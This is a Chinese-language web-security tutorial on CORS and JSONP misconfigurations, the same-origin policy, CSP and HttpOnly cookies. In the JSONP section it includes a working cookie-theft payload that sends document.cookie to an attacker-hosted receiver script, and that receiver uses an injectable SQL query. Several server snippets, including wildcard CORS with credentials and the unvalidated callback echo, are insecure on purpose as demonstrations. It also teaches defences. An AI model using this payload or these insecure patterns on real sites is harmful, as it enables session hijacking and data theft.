OWASPtop10——CORS
本文最后更新于 2024-07-26,文章内容可能已经过时。
OSWASPtop10_CORS(跨越访问)漏洞-读取类型的CSRF
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
CORS是CSRF的另一种漏洞形式
ps:同源策略
同源策略:同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以xyz.com下的js脚本采用ajax读取abc.com里的文件数据是被拒绝的。
同源策略限制了从同一个源加载的文档或者脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。
解决跨越问题:
由于同源策略的影响。我们从一个域名的网页去请求另一个域名的资源时,就无法成功获取资源。如果我们想要成功获取资源,那么就要用到跨域。
跨域问题解决方案:jsonp,cors,postMessage(最后一种用到少)
CORS介绍:
CORS全称是跨源资源共享,是一种ajax跨域请求资源的方式,支持现代浏览器,IE浏览器支持到10以上。
CORS的实现方式很简单,当使用XMLHttpRequest发送请求时,浏览器发现该请求不符合同源策略,会给该请求加一个请求头:Origin,后台进行一系列处理,如果确定接受请求则在返回结果中加入一个请求头:**Access-Control-Allow-Origin;**浏览器判断该请求头中是否包含Origin的值,如果有则浏览器会处理响应,我们就可以拿到响应数据,如果不包含浏览器则直接驳回,这时我们无法拿到响应数据。
CORS漏洞成因:
在配置了cors的前提下,当你登录网站A,并且跨域访问网站B的时候,浏览器判断你的操作是跨域,这时候会在数据里面加一个Origin字段,内容为:Origin:b.com,这样你就能跨域了,当cors的配置错误时就会产生cors漏洞
加了origin这个头后,这两个字段相对应,证明存在cors漏洞
CORS漏洞利用:
1.首先明确目标:获取受害者的信息
2.构造代码:
3.获取结果:
如果网站存在cors漏洞,攻击者只需要给受害者发送一个html代码,受害者点击后就可以获取到受害者的敏感信息。
一、跨域访问场景
多个系统集成在一起的时候,浏览器需要从多个不同域名的子系统中来获取数据,这就需要跨域访问数据。
url地址: 协议://主机名:端口/
同源:协议、主机名和端口必须一致。
同源策略只影响ajax的数据提交。
http://search.jd.com:8008
http://search.jd.com:9090
二、跨域报错
1.在第一条服务器上准备php:
<?php
date_default_timezone_set("PRC");
echo date("y-m-d h:i:s");
?>
2.在第二台服务器上准备html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script>
xhr = new XMLHttpRequest();
xhr.onreadystatechange=function (){
if(xhr.readyState==4 && xhr.status<400){
resp = xhr.responseText;
console.log(resp);
}
}
xhr.open('get','http://192.168.64.128/jsonp/showtime.php');
xhr.send();
</script>
</head>
<body>
client
</body>
</html>
四、不受影响的标签
<script src="">
<link rel="stylesheet" href="">
<iframe src="">
<img src="">
<a href="">
五、JSONP解决跨域
1、JSONP
jsonp解决跨域问题演示
服务端的程序:
<?php
$v = "zhangsan";
$method = $_GET['cb'];
echo "$method('$v')";
//echo getResData('zhangsan')
?>
===============================
客户端程序:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
</body>
<script>
function getResData(data){
console.log("hello:",data);
}
// url = "http://192.168.248.128/attack/test.php?cb=getResData";
// $.get(url,function succ(data){
// console.log("hello:",data);
// })
</script>
<script src="http://192.168.248.128/attack/test.php?cb=getResData"></script>
<!-- <script>
getResData('zhangsan');
</script> -->
</html>
- 客户端需要定义好一个javascript函数,用于在服务端返回数据时候,被调用
- 客户端在调用服务端的时候,使用一个参数,把定义好的javascript函数名称传递给服务端
- 服务端在返回的时候,把函数名称和数据拼接成一个调用的形式
- 利用了script标签不受同源策略限制来实现
2、JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式
返回JSON数据
服务端程序
<?php
$v = ["username"=>"zhangsan","age"=>12];
$v = json_encode($v);
$method = $_GET['cb'];
echo "$method('$v')";
//echo hi('zhangsan')
?>
======================
客户端程序
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
</body>
<script>
function getResData(data){
jn = JSON.parse(data)//把返回的json字符串
jn["age"] = 100;//把age属性修改一下
console.log(jn);
}
</script>
<script src="http://192.168.248.128/attack/test.php?cb=getResData"></script>
</html>
3、Jquery封装jsonp调用
jquery实现回调函数,绕过跨域访问:
$.getJSON(url,function(data){alert(data)})
url:xxxx.php?callback=? 不要使用函数名。 回调函数可以不写。
=====================
服务端程序
<?php
$v = ["username"=>"zhangsan","age"=>12];
$v = json_encode($v);
$method = $_GET['cb'];
echo "$method('$v')";
//echo hi('zhangsan')
?>
=====================
客户端程序
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
</body>
<script>
$.getJSON("http://192.168.248.128/attack/test.php?cb=?",function succ(data){
jn = JSON.parse(data)//把返回的json字符串
jn["age"] = 100;//把age属性修改一下
console.log(jn);
})
</script>
</html>
六、JSONP漏洞
1、获取用户的cookie:
服务端程序:
<?php
$v = ["username"=>"zhangsan","age"=>12];
$v = json_encode($v);
$method = $_GET['cb'];
echo "$method('$v')";
//echo hi('zhangsan')
?>
====================
客户端程序;
<?php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
<button onclick="getData()">点击发请求</button>
</body>
<script id="sc"></script>
<script>
function getData(){
document.getElementById("sc").src="http://192.168.248.128/attack/test.php?cb=new Image().src='http://192.168.248.128/attack/receivecookie.php?ucookie='%2bdocument.cookie;//";
}
</script>
</html>
========================
攻击者接收cookie的程序
<?php
include '../goods/common/dbconn.php';
$ucookie = $_GET['ucookie'];
$refers = $_SERVER['HTTP_REFERER'];
$sql = "insert into usercookies(cookies,refers,createtime) values('$ucookie','$refers',now())";
$result = mysqli_query($conn,$sql);
if(!$result){
echo mysqli_error($conn);
}
mysqli_close($conn);
八、CORS解决跨域
1、概念
CORS,全称Cross-Origin Resource Sharing [1] ,是一种允许当前域(domain)的资源(比如html/js/web service)被其他域(domain)的脚本请求访问的机制,通常由于同域安全策略(the same-origin security policy)浏览器会禁止这种跨域请求。
2、实现方案
PHP的代码,在响应头中,添加字段:
header("字段:值");
//设置允许请求的域名
header("Access-Control-Allow-Origin:*"); 或者 header("Access-Control-Allow-Origin:http://www.one.com");
//设置允许请求的方法
header("Access-Control-Allow-Method:GET,POST"); 或者header("Access-Control-Allow-Method: *");
//设置允许请求的请求头
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept"); 或者header("Access-Control-Allow-Headers: *");
// 带 cookie 的跨域访问
header('Access-Control-Allow-Credentials: true');
3、测试案例
//客户端代码:
===========================
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
</body>
<script>
$.get("http://192.168.248.128/attack/test.php",function succ(data){
alert(data)
})
</script>
</html>
========================
服务端代码:(在服务端我们没有甚至任何CORS的响应头,所以此时,客户端请求会被同源策略阻止)
<?php
header("Access-Control-Allow-Origin:*");
header("Access-Control-Allow-Method:*");
header("Access-Control-Allow-Headers:*");
header('Access-Control-Allow-Credentials: true');
echo "hello";
?>
白名单:允许部分主机跨域访问:
需要注意:http://localhost 和 http://127.0.0.1 不是同源!!!!
$arr = ["http://localhost","http://192.168.3.67"];
//通过server超全局变量获取origin值。
$ip = $_SERVER['HTTP_ORIGIN'];
if(in_array($ip,$arr)){
header("Access-Control-Allow-Origin:$ip");
}
4、CORS跨域原理
- 当ajax发请求给服务端的时候, 会有一个特殊的请求头Origin会带上当前页面的域信息
Origin: http://192.168.3.67
- 服务端收到请求后,会判断当前Origin所带的域信息,是否允许访问当前网站
- 如果允许,那么在响应头中增加一个Access-Control-Allow-Origin,带着域信息
- 浏览器收到这个响应头,知道当前服务器接收跨域访问请求
- 如果服务端没有返回Access-Control-Allow-Origin,那么浏览器会阻止响应的数据展示在页面
5、CORS预检请求
CORS规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)
什么场景会触发CORS的预检请求
(1)简单请求(需同时满足以下条件)不会触发预检请求
- 请求方法是以下三种之一:GET、HEAD、POST
- HTTP的头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type
- Content-Type的值仅限于以下三种:text\plain、multipart/form-data、application/x-www-form-urlencoded
**(2)非简单请求(凡不同时满足上面两个条件,就属于非简单请求)会触发浏览器发生预检请求,这是浏览器的 **
行为。“预检请求”的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。
预检请求演示:
客户端代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
</body>
<script>
$.ajax({
url:"http://192.168.248.128/attack/test.php",
method:'get',
headers:{
"aaaaa":"abcdefg"
},
success:function(data){
alert(data);
},
})
</script>
</html>
==================================
服务端代码:(增加了四个响应头告诉浏览器)
<?php
header("Access-Control-Allow-Origin:*");
header("Access-Control-Allow-Method:*");
header("Access-Control-Allow-Headers:*");
header('Access-Control-Allow-Credentials: true');
echo "hello";
?>
九、预防CORS漏洞
1、正确配置允许跨域的域名,不要是用*
**不要这样配置:header("Access-Control-Allow-Origin: *"); **
**应该这样精确指定域名: header("Access-Control-Allow-Origin: **http://www.one.com");
2、避免在内网中设置跨域访问的通配符:header("Access-Control-Allow-Origin: *"),必要以为只在内网就安全了。内网可能存在水平越权。
3、CORS策略不能替代服务器端的安全策略,只是限制了AJAX在浏览器上的同源访问。
十、CSP内容安全策略
全称:Content Security Policy
提高站点中所有资源的安全性。XSS的核心目的就是攻击浏览器,获取用户的cookie信息,从而拿到用户的信息。CSP中有一部分安全策略可以防御XSS获取用户的cookie以及执行恶意代码。因此CSP主要解决浏览器资源安全问题,其中就包含html,css,js,多媒体。我们这里主要是针对js进行防护。
CSP核心就是用白名单方式,开发者明确告知浏览器哪些资源外部可以加载和执行,实现和执行全部是浏览器来做,开发者只需要正确配置即可。
1、通过配置CSP只允许从白名单的网站加载javascript
(1) 在内容展示php页面或者html页面,添加csp:
php:
header("Content-Security-Policy: script-src 'self' 'unsafe-inline'");
html:
<meta http-equiv=“Content-Security-Policy” content="script-src 'self'">
(2) 其他配置:
script-src 'self' http://www.woniunote.com *.jd.com 'unsafe-inline'对于脚本:只信任当前域名自己和http://www.woniunote.com 还有就是*.jd.com这样的网站,'unsafe-inline'是指内嵌在页面中<script></script>标签内的js脚本
img-src 对于图片,允许从哪些来源加载 'none'表示不允许从任何url加载,'self'只信任当前域名
object-src 'none',对于<object>标签:不信任任何URL,即不加载任何资源
style-src 对于样式表,允许从哪些来源加载
child-src https,对于框架(iframe):必须使用HTTPS协议加载,注意冒号是https协议的一部分
unsafe-eval 允许把字符串当做代码来执行,例如eval,setTimeout,setInterval
nonce 每次响应头中给出一个随机值,例如:nonce-12345,当内嵌的script脚本包含这个值,才能执行
hash 列出允许执行的代码的hash值,页面内嵌脚本的hash值必须吻合,才能被执行
default-src 'self'; report-uri http://192.168.81.128/getreport.php 只允许从当前域名加载资源文件,并且一旦有违反,会向report-uri后面指定的地址发送报告
default-src 'self'; script-src 'self' https://example.com; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self' https://example.com;
default-src: 定义针对所有类型(js/image/css/font/ajax/iframe/多媒体等)资源的默认加载策略,如果某类型资源没有单独定义策略,就使用默认的。
案例代码:
<?php
session_start();
$nc = base64_encode("abde");
header("Content-Security-Policy: script-src 'self' 'unsafe-inline' http://192.168.81.128 'nonce-$nc'");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="http://192.168.81.128/jsonp/myjs.js"></script>
<script nonce="<?=$nc?>">
alert("这是内嵌的javascript");
</script>
</head>
<body>
</body>
</html>
myjs.js的代码
alert('myjs.js');
说明:
header("Content-Security-Policy: script-src 'self' 'unsafe-inline' http://192.168.81.128 'nonce-$nc'");
在上面这段代码中
--如果列出了http://192.168.81.128,那么外部的js就一定可以加载;
--如果列出了'unsafe-inline'那么内嵌的js也可以运行,不用考虑nonce这个参数的值一定要和Content-Security-Policy里面指定的一致
--如果没有列出'unsafe-inline' ,但是指定了nonce,那么内嵌的js代码就需要有和Content-Security-Policy中指定的nonce一样的属性值才可以:例如这样写
<script nonce="<?=$nc?>">
alert("这是内嵌的javascript");
</script>
2、添加全局安全策略:
在httpd.conf文件中,添加安全策略及报告uri:
Header set Content-Security-Policy "default-src 'self' 'unsafe-inline' http://192.168.81.128;report-uri http://192.168.81.128/jsonp/getreport.php"
3、安全报告:report-uri url
报告内容:
{"csp-report":{
"blocked-uri":"http://192.168.111.16","document- uri":"http://192.168.32.129/secure21/php/showxss.php?id=4","original-policy":"script-src http://192.168.32.129; report-uri http://192.168.32.129/secure21/php/cspreport.php","referrer":"","violated-directive":"script-src http://192.168.32.129"
}
}
接收报告:
<?php
$data = file_get_contents("php://input");//php的伪协议
$f = fopen('cspreport.txt',"a");//这一行要注意,cspreport.txt所在的文件夹要有些权限
$json = json_decode($data,true);
fwrite($f,date("y-m-d h:i:s \r\n"));
fwrite($f,"-----------------------------------------------------------------------------------------------------------\r\n");
foreach($json['csp-report'] as $key=>$val){
fwrite($f,"$key:$val \r\n");
}
fwrite($f,"-------------------------------------------------------------------------------------------------\r\n\r\n\r\n");
fclose($f);
?>
十一、禁止JS获取cookie
document.cookie : js获取用户cookie
(1) 全局设置:在php.ini配置文件中,将 session.cookie_httponly的值改为On.重启apache服务。
(2) 局部设置:在需要禁用js获取cookie页面上添加ini_set();
<?php
ini_set("session.cookie_httponly",1);
?>
- 感谢你赐予我前进的力量